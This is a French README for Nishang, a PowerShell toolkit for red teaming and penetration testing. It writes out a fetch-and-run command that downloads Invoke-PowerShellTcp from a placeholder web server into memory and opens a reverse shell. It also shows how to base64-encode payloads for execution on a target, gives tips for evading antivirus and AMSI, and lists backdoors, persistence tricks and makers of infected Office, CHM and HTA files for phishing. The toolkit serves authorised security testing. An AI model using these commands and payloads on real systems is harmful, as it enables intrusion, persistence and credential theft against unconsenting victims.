
Nishang - PowerShell offensif pour l'équipe rouge, les tests de pénétration et la sécurité offensive.
Par Nikhil Mittal Fondateur de Altered Security - Formation pratique au red team et à la sécurité d'entreprise !
Importer tous les scripts dans la session PowerShell actuelle (PowerShell v3 et ultérieur).
PS C:\nishang> Import-Module .\nishang.psm1
Utiliser les scripts individuels avec le dot sourcing.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
Pour obtenir de l'aide sur un script ou une fonction, utilisez :
PS C:\nishang> Get-Help [scriptname] -full
Notez que l'aide est disponible pour la fonction chargée après l'exécution du script et non pour le script lui-même depuis la version 0.3.8. Dans tous les cas, le nom de la fonction est le même que celui du script.
Par exemple, pour voir l'aide sur Get-WLAN-Keys.ps1, utilisez
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Les scripts Nishang sont détectés comme malveillants par de nombreux antivirus. Les scripts sur une cible sont destinés à être utilisés en mémoire, ce qui est très facile à faire avec PowerShell. Deux méthodes de base pour exécuter des scripts PowerShell en mémoire :
Méthode 1. Utiliser le téléchargement et l'exécution en mémoire : Utilisez la commande ci-dessous pour exécuter un script PowerShell à partir d'un shell distant, d'un shell natif meterpreter, d'un web shell, etc., et la fonction qu'il exporte. Tous les scripts de Nishang exportent une fonction du même nom dans la session PowerShell actuelle.
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
Méthode 2. Utiliser le paramètre -encodedcommand (ou -e) de PowerShell
Tous les scripts de Nishang exportent une fonction du même nom dans la session PowerShell actuelle. Assurez-vous donc que l'appel de fonction est effectué dans le script lui-même lors de l'utilisation du paramètre encodedcommand à partir d'un shell non PowerShell. Pour l'exemple ci-dessus, ajoutez un appel de fonction (sans guillemets) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".
Encodez le script en utilisant Invoke-Encode de Nishang :
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
Données encodées écrites dans .\encoded.txt
Commande encodée écrite dans .\encodedcommand.txt
À partir de ce qui précède, utilisez le script encodé depuis encodedcommand.txt et exécutez-le sur une cible où des commandes peuvent être exécutées (un shell distant, un shell natif meterpreter, un web shell, etc.). Utilisez-le comme ci-dessous :
C:\Users\target> powershell -e [encodedscript]
Si les scripts sont toujours détectés, changer les noms des fonctions et des paramètres et supprimer le contenu d'aide aidera.
Si l'AMSI de Windows 10 bloque toujours l'exécution du script, consultez ce blog : http://www.labofapenetrationtester.com/2016/09/amsi.html
Nishang contient actuellement les scripts et payloads suivants.
Modifier les objets AD pour fournir les permissions minimales requises pour DCShadow.
Exécuter des scripts PowerShell en mémoire, exécuter des commandes, et télécharger et uploader des fichiers en utilisant ce webshell.
Un backdoor pouvant recevoir des instructions de sites tiers et exécuter des scripts PowerShell en mémoire.
Un backdoor pouvant recevoir des commandes et des scripts PowerShell via des requêtes DNS TXT, les exécuter sur une cible, et être contrôlé à distance à l'aide de ces requêtes.
Un backdoor pouvant exécuter des scripts PowerShell à un moment donné sur une cible.
Un backdoor pouvant recevoir des commandes et des scripts depuis un SSID WLAN sans s'y connecter.
Un backdoor pouvant utiliser l'économiseur d'écran Windows pour l'exécution de commandes et de scripts à distance.
Un backdoor pouvant utiliser des flux de données alternatifs et le registre Windows pour assurer la persistance.
Un backdoor utilisant la technique bien connue du débogueur pour exécuter un payload avec les touches rémanentes et Utilman (touche Windows + U).
Modifier les permissions des espaces de noms DCOM et WMI pour autoriser l'accès à un utilisateur non administrateur.
Modifier les permissions de PowerShell remoting pour autoriser l'accès à un utilisateur non administrateur.
Implémentation de méthodes publiquement connues pour contourner/éviter AMSI.
Créer des fichiers CHM infectés capables d'exécuter des commandes et scripts PowerShell.
Créer des fichiers Word et infecter des fichiers existants pour exécuter des commandes et scripts PowerShell.
Créer des fichiers Excel et infecter des fichiers existants pour exécuter des commandes et scripts PowerShell.
Créer un fichier HTA pouvant être déployé sur un serveur web et utilisé dans des campagnes de phishing.
Créer des fichiers JAR signés pouvant être utilisés avec des applets pour l'exécution de scripts et de commandes.
Créer des fichiers de raccourci capables d'exécuter des commandes et scripts PowerShell.
Créer des fichiers IQY pour le phishing d'identifiants et de hash SMB.
Créer des fichiers JS capables d'exécuter des commandes et scripts PowerShell.
Créer des fichiers SCT capables d'exécuter des commandes et scripts PowerShell.